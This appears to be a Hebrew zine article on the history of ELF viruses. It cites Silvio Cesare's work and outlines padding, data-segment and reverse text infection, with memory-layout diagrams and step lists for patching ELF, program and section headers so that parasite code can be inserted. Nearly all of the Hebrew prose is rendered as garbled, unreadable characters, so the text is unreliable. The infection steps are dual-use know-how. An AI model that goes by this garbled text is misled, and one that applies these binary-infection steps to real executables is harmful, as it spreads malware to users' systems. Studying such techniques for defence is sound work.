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 ˨˞ˢ˪ˣ˰ ˣˤˢ ˢ˞˴˶ˢˢˬ  ˧˩ ˸ˣ˪˧ˢ˵ ˣ˧ˢ ˞˪ ˠˮ˧˵˞ˢ ˣ˪˪ˢ ˫˧ˮ˷˟ ˭˞˩ ˸ˣ˲ˮ˰) ˣ˦˧˪˥ˢ ˫ˢ˷ ˣ˞ ˦˧˰ˬˢ˪

 ˪˰ ˶ˣ˟˧ˡ˟ ˭˧˧ˮ˰ˢˤ (˸˶˥˞ ˢ˟˧˯ˬ .˞˧ˢ ˧˪˷ ˢ˶˦ˬˢ ˞˧ˢ ˢˤˢ ˦˵˧˧ˣ˶˲˟ , ˸ˣˮˣ˶˩ˤˢ ˱˯ˣ˞ ˸˶ˤ˰˟˷

 ˢˣˣ˵˸˟˷ˮ ˤ˩˶-  ˥˧˪˴ˮ ˪˷ ˸ˣ˥˲ˣ ˭˞˩ ˣ˧ˢ˷ ˸ˣ˪˧ˢ˵ˢ ˪˷ ˶ˣ˲˧˯ˢ ˸˞ ˶˲˯˪ ˷ˬ˸˷ˬˢ˪˞ˣˡ˧˟˧ˡˮ˧˞ˢ. 

ˢ ˸˧˧˶ˣ˞˧˸˟ ˫˧ˮ˧ˬ˞ˬ ˣˮ˥ˮ˞ ˫˞ ˧˩ ,˫˪ˣ˩˪ ˰˧ˠˢ˪ ˫˧˩˧˶˴ ˞˪ ˣˮ˥ˮ˞- "˫˧˪ˠ" ˫˰˲˷Trancer s ˡ˥˞˟ ˢ˪˰
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 ˸ˣ˩ˤ˟ ˭˸ˣ˞ ˶˧˩ˬˢ ˶˸˞-Archive ˷-iTK98 ˫˧˵ˢ ˣ˸ˬ˩ˣ˥˟ ˢ˧ˢ˷ ˸˞ ˫˧˶˲˯ˬ ˫ˮ˧˞ ˣ˪˞ ˫˧˦˯˵˦ ˫ˠ ˨˞ ,
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y0g1-b3ar / Rel8t  /SilentHant  /StealthFighter  /P[o]d?  ˸ˣ˪˞˷ˢˬ ˸˥˞ ˪˰ ˭˩ ˫˸˧ˮ˰- ˮ ˥ˬ˷ ˫˞
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The History of ELF Viruses 
 ˸˞ˬ˟˧ˮ ˪ˠ 

 

 ˢˬˡ˵ˢ 

˶˸ˣ˩ˢ ˭ˬ ˭˧˟ˢ˪ ˭˸˧ˮ˷ ˧˲˩,˸  ˫˧˯ˣ˶˧ˣ˟ ˵ˣ˯˰˧ ˢˤ ˶ˬ˞ˬ˧˴˟˵ ˫˧˵˧˟ˡˬ ˶˷˞ ELF.  ˸ˮ˟ˢ˪ ˷ˣ˶ˡˢ ˰˵˶ˢ

 ˧˴˟˵ ˪˷ ˢˮ˟ˬˢ ˸˶˩ˢ ˞ˣˢ ˢˤ ˶ˬ˞ˬELF ˶˷˞ ˞˪˲ˮ ˶ˬ˞ˬ˪ ,˰˵˶ˢ ˧˪˟ ˫˧˞˶ˣ˵ˢ ˸˞ ˢˮ˲˞ ˨˩ ˫˷˪ˣ ,

˧ˡ˧ ˪˰ ˟˸˩ˮ dexr4de ˶˲˯ˬ ˭ˣ˧˪˧ˠ˟ ,- 71 ,"Executable Linkable Format -ELF ." 

 ˢ˪˧ˬ˟ ˷ˣˬ˧˷˟ ˸˶˸ˣ˩˟ ˧˸˥˴˲ ˫ˣ˧ˢ ˫˧˰ˬˣ˷ ˞˪ ˦˰ˬ˩ ˶˟˩˷- ""˯ˣ˶˧ˣ  ˪˪˩ ˨˶ˡ˟ ˫˧˰ˬˣ˷˷ ˢˬ ˫ˣ˧˩)

('ˣ˩ˣ "˶˟˧˧˯ ˵˷ˮ" ,"˫˧˟˷˥ˬ ˸˰˪ˣ˸" ,"ˢ˶˲ˣ˩" ˢˤ ,ˣ˧ˡˢ ˫˷˪ ˭ˣ:ˢˤ ˠ˷ˣˬ ˪˷ ˸˧ˮˣ˪˧ˬˢ ˢ˶ˡˠˢˢ ˸˞ ˞˧˟˞ 

 ˸ˣˮ˩ˣ˸ ˪˷ ˡˣ˵ ˧ˣˮ˧˷ ˧ˡ˧ ˪˰ ˣˬ˴˰ ˸˞ ˪˲˩˷ˬ˷ ,˧ˮˣˡˤ ˡˣ˵ ˪˷ ˠˣ˯ ˞ˣˢ ˟˷˥ˬ ˯ˣ˶˧ˣ

ˢ˰ˣˠˮ" ˸˞˶˵ˮ ˢ˸ˮ˸˷ˢ ˢ˪˷ ˡˣ˵ˢ˷ ˢˮ˩ˣ˸ˢ ˥˧˪˴ˬ ˪ˣ˲˩˷ˢ˷ ˧˶˥˞ .˸ˣ˶˥˞ ˟˷˥ˬ ò

 ˸˧˪ˠˮ˞˟)- ñinfected (ò .˯ˣ˶˧ˣ˟ 

 ˶˥˞˪˪ ˣˮ˪ ˪˵ ,˯ˣ˶˧ˣ ˞ˣˢ ˢˬ ˫˧ˮ˧˟ˬ ˣˮ˥ˮ˞˷ ˧˴˟˵ ˢˬ˪ ˭˧˟ˢELF  ˪˩˟ ˸ˣˮ˰˶ˣ˲˪ ˶ˣ˵ˬ ˫˧ˣˣˢˬ ˭˧˧ˡ˰ˣ ˣˣ˧ˢ

 ˫˧˦ˣ˷˲ˢ ˫˧˦ˬ˶ˣ˲ˢ ˡ˥˞˟ ˶˟ˣˡˬ ,˫˧˯ˣ˶˧ˣ˪ ˶ˣ˷˵ˢ˞˷ ˶ ˶˸ˣ˧ ˧ˡ˧ ˪˰ ˨ˬ˸ˮ ˞ˣˢ ˣ˸ˣ˦˷˲ ˟˵˰ ,˫˧ˬ˧˧˵

ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ ˶˸ˣ˧ˣ  ˸ˣ˯˯ˣ˟ˬ ˢ˪˰˲ˢˢ ˸ˣ˩˶˰ˬ ˪˩)Unix ˢ ˸ˣ˴˲ˢ ˶˟˩ ˫ˠ ˫ˣ˧ˢˣ ,ˣ˟ ˸ˣ˩ˬˣ˸-

Windows ˟ ˸ˣ˩ˬˣ˸ ˶˷˞-WSL( ,˶˸ˣ˧˟ ˟ˣ˷˥ˢ ˟˧˩˶ˬˢ ,˭˟ˣˬ˩ˣ: ˞˦ˬ˪ ˢ˪˵ ˨˩ ˪˩ ˢ˷˧ˠ-˟˷ ˢ˦˞ˡ-

header-.ˢ˟˶ ˢ˩ ˸ˣ˪˵˟ ˫˧˧ˣˮ˧˷ˣ ˫˧ :˨˩ ˢ˞˶ˮ ˞ˣˢ ˱ˣ˦˥ ˦˟ˬ˟ 

 

]˶ˣ˵ˬ :https://en.wikipedia.org/wiki/Executable_and_Linkable_Format[ 

https://www.digitalwhisper.co.il/files/Zines/0x47/DW71-2-ELF.pdf
https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
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˫˧˪˧˥˸ˬ 

ˢ ˸ˣˮ˷˟ ˫˧˴ˣ˲ˮ ˸ˣ˧ˢ˪ ˣ˪˥ˢ ˯˵˧ˮˣ˧ ˸˟˧˟˯˟ ˫˧˯ˣ˶˧ˣ-90 ˪˷ ˶˰˶ˣ˰ˬ ˧˸˪˟ˢ ˟˞ˢ˷ ˸˧˪˪˩ ˢˬ˩˯ˢ ˷˧ .

 ˧˴˟˵˟ ˫˧˯ˣ˶˧ˣELF ˶˞ˤ˯ ˣ˧˟˪˧˯ ˞ˣˢ )Silvio Cesare( ˸ˣˡˣ˞ ˫˧˟ˣ˶ˬ ˫˧˶ˬ˞ˬ ˢˮˣ˷˞˶˪ ˫˯˶˲ ˶˷˞ ,

 ˧˴˟˵˪ ˡˣ˵ ˸˵˶ˤˢELF ˣ˪˪˩ ˫˵˪˥ ,proof-of-concept  ,˶˸ˣ˧ ˶˥ˣ˞ˬ ˫˧˷ˮ˞ ˣ˷ˬ˧ˬ ˫˵˪˥ ˸˞ˣ ˤ˞ ˶˟˩

.˸ˣ˶˥˞ˣ ˢ˪˞˩ ˸ˣ˧˴˞˧˶ˣˣ˟ ,˫ˣ˧˩ ˫ˠ ˷ˣˬ˧˷˟ ˸ˣ˞˴ˬˮ ˭˧˧ˡ˰ ˣ˧˟˪˧˯ ˪˷ ˸ˣ˦˧˷ˢ ˟ˣ˶˷ ˡ˧ˠˢ˪ ˶˷˲˞  ˢ˪˧˥˸

"ˡˣ˵" ˪˷ ˢ˵˶ˤˢ ˸ˣ˦˧˷˟ ˡ˵ˬ˸˞ ˬ ,˪˰ˣ˲˟)˪˰ ˶˟ˣˡ Shellcode- ˸ˣ˪˟ˠˬ˟ ˡ˵ˬ˸˞ ˭˩ˬ ˶˥˞˪ˣ ,(˭˟ˣˬ˩ ˫˧

.ˢ˴˧˶ ˭ˬˤ˟ ˣ˧˪˞ ˢ˴˧˲˵˪ ˸ˣ˴ˣ˲ˮ ˸ˣ˦˧˷˟ˣ ˡˣ˵ ˣ˸ˣ˞ ˪˷ 

 ˧˴˟˵˪ ˡˣ˵ ˸˵˶ˤˢ˪ ˸ˣ˦˧˷ ˶ˣ˵˯˞ ˢˤ ˶ˬ˞ˬ˟˷ ˭˧˧˴˪ ˷˧ˢ˴˶ˢ ˸ˣ˧ˠ˦˶˦˯˞ ˣ˥˸ˣ˲ ˫˧ˮ˷ˢ ˫˰˷ ˭˟ˣˬ˩ .

 ˧˴˟˵˪ ˡˣ˵ ˸˵˶ˤˢ˪ ˸ˣˮˣ˷ ˸ˣ˦˧˷ˣso (Shared Objects) ˥ ˶˟ˡˢ ˨˞ ,ˢˬˣˡ˩ˣ˶ˬ˞ˬˢ ˸ˣ˪ˣ˟ˠˬ ˠ˶ˣ  ˣˬ˩)

˸˸ ˪˩- ˧˲ˣ˯ˮ˧˞ ˢˤ ˫ˠ ,˰ˡ˧ˬ ˸˥˦˟˞˟ ˫ˣ˥˸J.( 

 

˯ˣ˶˧ˣ ˳˟ˣ˵˟  ELF ,ˢˬ ˪˰ˣ˲˟ ˣˮ˥ˮ˞ ˫˧˴ˣ˶? 

.ˢ˶˵˧˷ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˥ˮ˞ ˪˰ˣ˲˟ ˢˬ ˭˧˟ˮ ˣˮ˲˯˪˲˸ˢ˷ ˶˥˞˪ ˤ˞ ˟ˣ˦ 

 ˳˟ˣ˵˟ ˞˴ˬ˧ "˧ˮˣˡˤ" ˡˣ˵˷ ˢ˴˶ˮ ,˧˦˵˶˦˯˟˞ ˧ˡ ˦˟ˬ˟ELF˟ ˰ˣˠ˲˪ ˧˪˟ˬ ˰˴ˣ˟˧ˣ ,-flow  ˪˷ ˧˶ˣ˵ˬˢ

.˸ˣ˧˞˷˥ ˪˰ ˢ˶˧ˬ˷ ˨ˣ˸ ˟ˣ˶˪ ,˸˧ˮ˩ˣ˸ˢ :˨˩ ˢ˞˶˧ ˢ˷˰ˬ˪˷ ˣˢ˷ˬ ˢ˴˶ˮ 

 

˟ ˫˧˧˲˧˲˯ˢ ˫˧˶ˣˤ˧˞˪ ˵˶ ˫˧˯˥˧˧˸ˬ ˨ˬ˯ˬ˟ ˫˧˦ˣ˦˶˷ˢ ˶˞˷ ˭˩ˣ ,˪"ˮˢ ˦ˣ˦˶˷ˢ]-ELF [ˣ˪ˣ˩˪ ˞˪ˣ 

 ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩ˢ ˸˞ ˢˮ˷ˮ˷ ˧˸ˬ˷˶ ˢˮˣˬ˸˟-program header-.ˢˤ ˟˪˷˟ ˫˧ 
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˰ˣˡˬ ?ˢ ˣ˪˞ ˢ˴˧˶ ˭ˬˤ˟ ˢˮ˷ˬ˷ ˢˬ˷ ˭˟ˣˬ˩-header- ˨˩ ,˭ˣ˶˩ˤ˪ ˨˧˞ˣ ˭˰˦˧ ˢˬ ˫˧˰˟ˣ˵˷ ˣ˪˪ˢ ˫˧

ˢˬ ˡ˥˞ ˸˞ ˢˮ˷ˮ ˫˞ ,˪˰ˣ˲˟ ˢ˷˰ˬ˪˷-header- ,ˢ˴˶ˢ ˸˰˟ ˭ˣ˶˩ˤ˪ ˸˧ˮ˩ˣ˸ˢ ˪˷ ˢˮ˧˰˦ˢ ˪˰ ˰˧˲˷ˮ ˫˧

ˮ˪˷ ˵˶ˤˣˬˢ ˡˣ˵ˢ ˸˞ ˶˧ˡˠˢ˪ ˪˩ˣˮ˷ ˨˩˦ˮˬˠ˯ˬ ˵˪˥˩ ˣ  ˧ˡ˧ ˪˰ ˶ˡˠˣˬˢ)- program header ˦˯˵˦ (

ˢ˴˧˶ ˭ˬˤ˟ ˰˴˟˸ˢ˪ ˶ˣˬ˞˷ ˡˣ˵ˢ ˸˞ ˪˧˩ˬ ˶˷˞ ,˪˷ˬ˪ ˰ ˶ˡˠˣˬ˷ ˡ˧˥˧ˢ ˦ˮˬˠ˯ˢ)ò ˪˰˟˩ ˶˪˧˧˲ˬˣ˵ˢ ˧

.(˪ˣ˲ˬ˧˵ ˸˰˟ ˢ˴˧˶ ˸ˣ˞˷˶ˢ 

 '˵ˮˢ ˸˞ ˧˸˶ˡˠˢ˷ ˞ˣˢ ˢˮˣˬ˸˟ ˸ˣ˞˶˪ ˭˸˧ˮ˷ ˶˟ˡ ˡˣ˰A .˸˧˸ˣ˶˧˶˷ 

ˬˢ ˡˣ˵˟ ˷ˬ˸˷ˢ˪ ˶˷˲˞˷ ˞˧ˢ ˨˩˪ ˢ˟˧˯ˢ ˫˧˷ˣˬ˧˷ ˭ˣˣˠˬ˪ ˵˶ˤˣ-  ,˸˧ˮ˩ˣ˸ˢ ˸˪˧˥˸˟ ˣ˸˴˶ˢ ˪˷ˬ˪

˳˟ˣ˵˟ ˶˥˞ ˡˣ˵ ˰˦˵ ˫ˣ˵ˬ˟ ˰ˣ˴˧˟ ,˳˟ˣ˵˟ ˧˲˧˴˲˯ ˰˦˵ˬ ˭˧˟ ˢ˴˧˶ ,˸˧˲˧˴˲˯ ˢ˧˴˵ˮˣ˲ ˪˰ ˵ˣˢ ,ˢ˲ˣ˯˟ 

˵ˮˢˬ ˳ˣ˲˵ˮ ˢˤ ˢ˶˵ˬ˟) ôA ˵ˮ˪ ˫˷ˬˣ ˵˶ˤˣˬˢ ˡˣ˵˪ ôB  ˢ˷˰ˬ˪ ˸ˣ˧ˣ˶˷˲˞ˢˣ ,(˭˟ˣˬ˩ ˸˶˥˞ ˸˧˸ˣ˶˧˶˷

 ˟˸ˣ˩˟ ˵˶ˣ ˨˞ ˸ˣ˧ˣ˪˸ˣ ˸ˣ˧˲ˣ˯ˮ˧˞.˯ˣ˶˧ˣˢ 
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Silvio Padding Infection 

˟ ˫˪ˣ˰˪ ˠ˧˴ˢ ˣ˧˟˪˧˯ ˢ˸ˣ˞ ˢˮˣ˷˞˶ˢ ˢ˦˧˷ˢˣ˧˶ˬ˞ˬ. 

.˭ˣ˶˩ˤ˟ ˫˧ˣ˯ˬ ˪ˡˣˠ˪ ˪˟ˠˣˢ ˵˶ˤˣˬ˷ ˡˣ˵ˢ˷ ˞ˣˢ ˢ˟ ˧ˤ˩˶ˬ ˭ˣ˶˯˥ ˨˞ ,ˢ˪ˣ˰ˬˣ ˢ˦ˣ˷˲ ˸˞ˤˢ ˢ˦˧˷ˢ 

 ˠˣ˯ˬ ˢ˴˶ˢ ˳˟ˣ˵ ˪˷ ˢˮ˧˰˦ ˸˰˟˷ ˢˡ˟ˣ˰ˢ ˸˞ ˸˪˴ˮˬ ˣˤ ˢ˦˧˷ELF  ˦ˮˬˠ˯ ˭˧˟ ,˭ˣ˶˩ˤ˪ˢˣ ˦˯˵˦ ˦ˮˬˠ˯

ˢ˥ˣˣ˶ˬ" ˫˧˧˵ ,˫˸ˮ˧˰˦˟ˣ ˫ˬˣ˵˧ˬ˟ ˢˤ˪ ˢˤ ˫˧˟˵ˣ˰ˢ ˢ˦˞ˡ ò ˷ˬ˷ˬˢ-˩Padding  ˱˞ ˪˰ ,˫˧˦ˮˬˠ˯ˢ ˭˧˟

.˪˪˩ "˥ˣˣ˶ˬ" ˭˧˞ ˵˯˧ˡˢ ˪˰ ˣˬ˴˰ ˳˟ˣ˵˟˷ 

ˣ˧˟˪˧˯ ˣˮ˥ˮ˞ˣ) J ˸˞ ˫˧˪˴ˮˬ ˫˴˰˟ (-sPadding  ˭ˣ˶˩ˤ˪ ˭˰˦˧˷ "˧ˮˣˡˤ" ˡˣ˵ ˣ˟ ˫˧˟˧˴ˬˣ ˣˮ˧˸˟ˣ˦˪ ˢˤˢ

 ˦ˮˬˠ˯ˬ ˵˪˥˩ˢ.˦˯˵˦  ˸ˮ˷ˬ ˣ˧˟˪˧˯ ˪˷ ˧˶ˣ˵ˬˢ ˶ˬ˞ˬˢˬ ˫˧ˬ˧˷˶˸1998: 

Typically ,  the data segment  directly proceeds the text segment  which 

always  starts on a page ,  but the data segment  may not.  The memory 

layout for  a process image is thus.  

 

key :  

        [ ... ]    A complete page  

        T       Text  

        D       Data  

        P       Padding  

 

Page Nr  

#1      [ TTTTTTTTTTTTTTTT]               <-  Part of the text segment  

#2      [ TTTTTTTTTTTTTTTT]               <-  Part of the text segment  

#3      [ TTTTTTTTTTTTPPPP]               <-  Part of the text segment  

#4      [ PPPPDDDDDDDDDDDD]               <-  Part of the data segment  

#5      [ DDDDDDDDDDDDDDDD]               <-  Part of the data segment  

#6      [ DDDDDDDDDDDDPPPP]               <-  Part of the data segment  

 

pages 1,  2,  3 constitute the text segment  

pages 4,  5,  6 constitute the data segment  

The resulting segments after parasite insertion into  text segment  

padding looks like this.  

key :  

        [ ... ]    A complete page  

        V       Parasite code  

        T       Text  

        D       Data  

        P       Padding  

 

Page Nr  

#1      [ TTTTTTTTTTTTVVPP]               <-  Text segment  

#2      [ PPPPDDDDDDDDPPPP]               <-  Data segment  

 ˢˬ ˤ˞ ˫˴˰˟ ˭ˢ?˸ˣ˪˟ˠˬˢ 

 ˪˷ ˪ˡˣˠˢ ˞˧ˢ ˢ˪˟ˠˬˢ ˢˮˣ˷˞˶˪ ˣ˧˟˪˧˯ ˭˰˦˷ ˧˲˩ ˤ˞-sPadding.˭˟ˣˬ˩ ˭ˣ˩ˮ˷ ˢˬ ,  ˫˩˸˞ ˸ˣ˞˪ˢ˪ ˧˪˟ˬ

˟ ˶˟ˣˡˬ ˶˷˞˩ ˣˤ ˢ˦˧˷ ˫˷˧˧˪ ˷˧ ,˧˶ˣ˵ˬˢ ˶ˬ˞ˬ˪ ˸˷ˠ˪ ˪˩ˣ˧ ˧˦ˮˣˣ˪˶ ˶˟ˡˢ˷ ˧ˬ˪˷ ˫ˣ˷ˬˣ ,˫˧˦˶˲˟-

Shellcode  ˡ˟˪˟ ˭ˣ˶˩ˤ˟ "˱ˡ" ˪˷ ˪ˡˣˠˬ ˭˦˵ˢ- "˥˦˟ˣˬ"˷ ˫ˣ˥˸ˢ ˢˤ˷ ˫ˣ˷ˬ ˞˪ ˶˟ˡ ˫ˣ˷)  ˸ˬ˞˟

 ˱ˡ) ˢ˵˶ˤˢ˪ ˭˧ˬˤ ˢ˧ˢ˧˷ (ˢ˴˵ ˧˶˵ˬ ˷˧ ˢˤ˪ ˫ˠˣ ˥˦˟ˣˬ- page   ˣˮ˧ˢ4096 ˟ ˫˧˸˟-32 ˩ ˣ˞ ˦˧˟-2 ˬò ˟

-˟64 .(˦˧˟ 

http://ouah.org/elf-pv.txt
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:˪˰ˣ˲˟ ˰ˣ˴˧˟ˢ 

 )1 (˷ˠ˧ˮ ˪-ehdr ˪˧ˡˠˮˣ ˸˞ ˢˡ˷ˢ ˪˷ ˦˯˲ˣ˞ˢ ˪˷ s-section headers ˪ˡˣˠ˟ ˪˷ "˱ˡ" 

 
 )2 (˶ˣ˟˰ˮ ˪˰ ˪˩ s-phdrs: 
    ˷˲˥ˮ ˸˞ s-phdr ˶˷˞ ˶˧ˡˠˬ ˸˞ ˦ˮˬˠ˯ ˦˯˵˦ˢ - ˡ˧˥˧ˢ ˪˰˟ ˸ˣ˞˷˶ˢ ˢ˴˶ˢ ˢ˞˧˶˵ˣ )PF_R | PF_X == r-x( 
    ˪˩ ˡˣ˰ ˞˪ ˣˮ˰ˠˢ ˣ˧˪˞ ,˞˪ ˰˴˟ˮ ˫ˣ˪˩. 
    -˟phdr ˶˧ˡˠˬ˷ ˸˞ ˦ˮˬˠ˯ ˦˯˵˦ˢ: 

        ˪˧ˡˠˮ ˸˞ p_filesz ˪ˡˣˠ˟ ˪˷ ˡˣ˵ˢ ˵˧˶ˤˮ˷ 
        ˪˧ˡˠˮ ˸˞ p_memsz ˪ˡˣˠ˟ ˪˷ ˡˣ˵ˢ ˵˧˶ˤˮ˷ 
   ˶ˣ˟˰ ˪˩ phdr ˣ˧˶˥˞: 

        ˪˧ˡˠˮ ˸˞ p_offset ˪ˡˣˠ˟ ˪˷ "˱ˡ" 

 
//*˟˪˷ 3 :˫˧˧ˮ˧˟ ˪"˶ˣˡ˧˯ "-ssection headers - ˣˮ˧˞ ˢ˟ˣ˥ * 

 )3 (˶ˣ˟˰ˮ ˪˰ ˪˩ s-shdrs: 
    ˷˲˥ˮ ˸˞ s-shdr ˭ˣ˶˥˞ˢ ˞˴ˬˮ˷ ˸ˣ˪ˣ˟ˠ˟ ˦ˮˬˠ˯ ˦˯˵˦ˢ 
    ˪˩ ˡˣ˰ ˞˪ ˣˮ˰ˠˢ ˣ˧˪˞ ,˞˪ ˰˴˟ˮ ˫ˣ˪˩. 
    -˟shdr ˣˮ˞˷ ˫˧˷˲˥ˬ: 

        ˪˧ˡˠˮ ˸˞ sh_size ˪ˡˣˠ˟ ˪˷ ˡˣ˵ˢ ˵˧˶ˤˮ˷ )˫˷ ˞˴ˬ˧ ˡˣ˵ˢ ˵˶ˤˣˬˢ ,˫ˣ˷ˬ ˞ˣˢ˷ "˱˯ˣˣ˸ˬ" ˱ˣ˯˪ ˦ˮˬˠ˯ 

˦˯˵˦ˢ ,˶˷˞ ˣ˵˪˥ ˭ˣ˶˥˞ˢ ˶ˡˠˣˬ ˪˰ ˧ˡ˧ s-shdr ˢˤˢ( 
    ˶ˣ˟˰˟ ˪˩ shdr ˣ˧˶˥˞: 

        ˪˧ˡˠˮ ˸˞ sh_offset ˪ˡˣˠ˟ ˪˷ "˱ˡ" 

 
 )4 (˟˧˴ˮ ˸˞ ˡˣ˵ˢ ˣˮ˞˷ ˫˧˵˧˶ˤˬ ˦˯˲ˣ˞˟ ˪˷ ˦ˮˬˠ˯ ˦˯˵˦ˢ  +ˣ˪ˡˣˠ ˧˶ˣ˵ˬˢ 

 

Data Segment Infection 

" ˢˮˣ˩ˬ ˧˶ˣ˵ˬˢ ˣ˶ˬ˞ˬ˪ ˨˷ˬˢ ˶ˬ˞ˬ˟ ˣ˧˟˪˧˯ ˠ˧˴ˢ ˢ˸ˣ˞ ˸˲˯ˣˮ ˢ˦˧˷Data Segment Infection.ò 

 ˧ˬ˰˦ˬ ˸˧ˮ˶ˡˣˬˢ ˸˰˟ ˣ˧˟˪˧˯ ˧ˡ˧ ˪˰ ˢ˸ˠ˴ˢ ˤ˞ˬ ˢ˸ˮˣ˷ ˣˤ ˢ˦˧˷DEP. 

 ˦ˮˬˠ˯˷ ˱˞ ˪˰ ,ˣ˪˷ ˸˩˶˰ˬ˟˷ ˢ˞˶ ˣ˧˟˪˧˯ˢ,ˡ˟˪˟ ˢ˟˧˸˩ˣ ˢ˞˧˶˵ ˸ˣ˞˷˶ˢ ˪˰˟ ˢ˦˞ˡ  ˳˧˶ˢ˪ ˪ˣ˩˧ ˞ˣˢ

.ˢˤˢ ˦ˮˬˠ˯ˢˬ ˡˣ˵ 

 ˸˞ ˪˧ˡˠˢ˪ ˢˤ ˸˷˶ˣˡ ˞˧ˢ˷ ˢˬ ˪˩˷ ˧ˡˬ˪ ˢ˦ˣ˷˲ ˢ˦˧˷ ˶˴˧˧˪ ˪˩˧ ˞ˣˢ ˪˰ˣ˲˟ˢ˦˞ˡˢ ˦ˮˬˠ˯ˢ ˸ˤˤˢˣ ,-

section  - .bss ñ ˡ˧ˬ˸ ˞ˣˢ ,˵˯˧ˡˢ ˪˰ ˫ˣ˵ˬ ˯˲ˣ˸ ˣˮ˧˞˷ ˧˲ ˪˰ ˱˞˷ ˫ˣ˷ˬ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ˟ "ˢˬ˧ˡ˵

 ˱ˣ˯˟ ˣ˪ˡˣˠ˩ ˭ˣ˶˩ˤ˪ ˭˰˦ˮˢ˦˞ˡˢ ˦ˮˬˠ˯ˬ˷˪ ˸ˮˬ ˪˰ , ˧ˮ˲˪ ˫ˣ˪˩ ˫ˢ˟ ˫˷ˣˢ ˞˪˷ ˫˧ˮ˸˷ˬ˪ ˫ˣ˵ˬ ˶

.˸˧ˮ˩ˣ˸ˢ ˸˴˧˶ 

ˢ˟ ˸ˣ˦˧˷ˢ ˶˞˷ˬ ˢˮˣ˷˟˷ ˟˪ ˫˧˷˪ ˟ˣ˷˥ ˭ˢ ˫˰ ˸ˣ˵˯˰˸ˢ˟ ˫˧˟˧˧ˣ˥ˬ ˣˮ˞ ˭˞˩ ,˭ˣˡˮ-section 

header . ˸˞ ˶˧ˡˠˬ˷bss! 
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˪˩ ˧ˣˮ˧˷ˢ ˪ˣˡˠˢ ˟"ˣˮ˧ˬ˧ "˞ˣˢ ˧ˣˮ˧˷ ˫˧˪ˠˡˢ ˪˷ ˸ˣ˞˷˶ˢˢ ˸˲˯ˣˢˣ ˸ˣ˞˷˶ˢ ˢ˴˧˶ ˦ˮˬˠ˯˪ ˢ˦˞ˡ. 

 

.˷ˣˬ˧˷˪ ˸˴˪ˬˣˬ ˢˮ˧˞ˣ ˧ˣ˪˧ˠ˪ ˡ˞ˬ ˢ˪˵ ,˫˧˶˟ˡˢ ˰˟˦ˬ ,ˣˤ ˢ˦˧˷ 

:˧ˡˬ˪ ˪˵ ˫ˠ ˪˰ˣ˲˟ ˢ˪˷ ˰ˣ˴˧˟ˢ 

 )1 (˷ˠ˧ˮ ˪-ehdr ˪˧ˡˠˮˣ ˸˞ e_shoff  ˪ˡˣˠ˩ ˡˣ˵ˢ ˵˧˶ˤˮ˷ 

 
)2 (˶ˣ˟˰ˮ ˪˰ s-phdrs: 
    ˷˲˥ˮ s-phdr ˶˧ˡˠˬ˷ ˸˞ ˦ˮˬˠ˯ s ˢ˦˞ˡ)˞˴ˬ˧˧ ˶˥˞˪ ˦˯˵˦ ,ˢ˧ˢ˧ ˪˰˟ ˸ˣ˞˷˶ˢ ˢ˞˧˶˵ ˢ˟˧˸˩ˣé:( 

        ˪˧ˡˠˮ ˸˞ p_filesz ˪ˡˣˠ˟ ˪˷ ˡˣ˵ˢ ˵˧˶ˤˮ˷ 
        ˪˧ˡˠˮ ˸˞ p_memsz ˪ˡˣˠ˟ ˪˷ ˡˣ˵ˢ ˵˧˶ˤˮ˷ 
        ˱˧˯ˣˮ ˪-phdr ˸ˣ˞˷˶ˢ ˢ˴˶ˢ)PF_R | PF_W | PF_X == rwx( 

 
)3 (˞˴ˬˮ ˸˞ s-section header ˪˷ .bss: 
    ˤ˧ˤˮ ˸˞ ˦˯˲ˣ˞ˢ ˣ˪˷ ˢˬ˧ˡ˵ ˪ˡˣˠ˩ ˡˣ˵ˢ ˵˧˶ˤˮ˷ 

 
//*˟˪˷ 4 :˫˧˧ˮ˧˟ ˪-"˶ˣˡ˧˯ "-ssection headers - ˣˮ˧˞ ˢ˟ˣ˥ * 

)4 (˫ˣ˷ˬ ˢ˷-section headers ˫˧˞˴ˬˮ ˱ˣ˯˟ ˳˟ˣ˵ˢ ,˪˩ˣˮ ˱˧˯ˣˢ˪ ˱ˣ˯˟ ˳˟ˣ˵ˢ section header  ñ˶˵˷ "˪˧˩˧˷ ˸˞ 

˰ˡ˧ˬˢ ˸ˣˡˣ˞ ˡˣ˵ˢ ˵˶ˤˣˬˢ. 
 
)5 (˟˧˴ˮ ˸˞ ˡˣ˵ˢ ˣˮ˞˷ ˫˧˵˧˶ˤˬ ˦˯˲ˣ˞˟ ˦ˮˬˠ˯ sˢ˦˞ˡ  +ˣ˪ˡˣˠ ˧˶ˣ˵ˬˢ ˪˷ ˦ˮˬˠ˯ ˢ˦˞ˡˢ  

 

  

As an executable Segment ! 
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Reverse Text Infection 

˪˰ ˢˠ˴ˣˢ˷ ˢˮˣ˶˥˞ˢ ˢ˦˧˷ˢ-" ˢˮˣ˩ˬ ˨˷ˬˢˢ ˶ˬ˞ˬ˟ ˣ˧˟˪˧˯ ˧ˡ˧Reverse Text Infection.ò 

 ˵˲˧˯ ˞˪ ˞ˣˢ ,ˢ˧˸ˣˡˣ˞ ˸ˣ˟˷˥ˬ ˫˯˶˲˪ ˭ˣ˷˞˶ˢ ˢ˧ˢ˷ ˱˞ ˪˰proof-of-concept  ˶˸ˣ˧ ˶˥ˣ˞ˬ ˨˞

˸ˣˬ˧˧˵˷ ˸ˣ˦˧˷ˢ ˪˩ ˭˧˟ˬ ˶˸ˣ˧˟ ˸˧˦ˮˣˣ˪˶ˢ ˧˸˰ˡ˪ˣ ˢ˪˪˩ˣ˷ ˸˞ˤˢ ˢ˦˧˷ˢ  ˭ˬˤˬ ˞˪ ˧˸˥˸˧˲˷ ˦˵˧ˣ˶˲˟)

.(˸ˣˮˣ˸ˮˢ ˸ˣ˦˧˷ˢ ˪˩ ˭˧˟ˬ ˢ˟ ˧˸˷ˬ˸˷ˢ 

 ˦ˮˬˠ˯ ˸˞ ˪˧ˡˠˮ ˢˤ ˢ˷˰ˮ˷ ˢˬ ˫˴˰˟ ˣˤ ˢ˦˧˷˟ˢˣ˸˪˧˥˸ˬ ˦˯˵˦  ˧ˬ˰˦ˬ ,("˯˶˟˶" ˫˷ˢ ˫ˠ ˭˞˩ˬˣ)

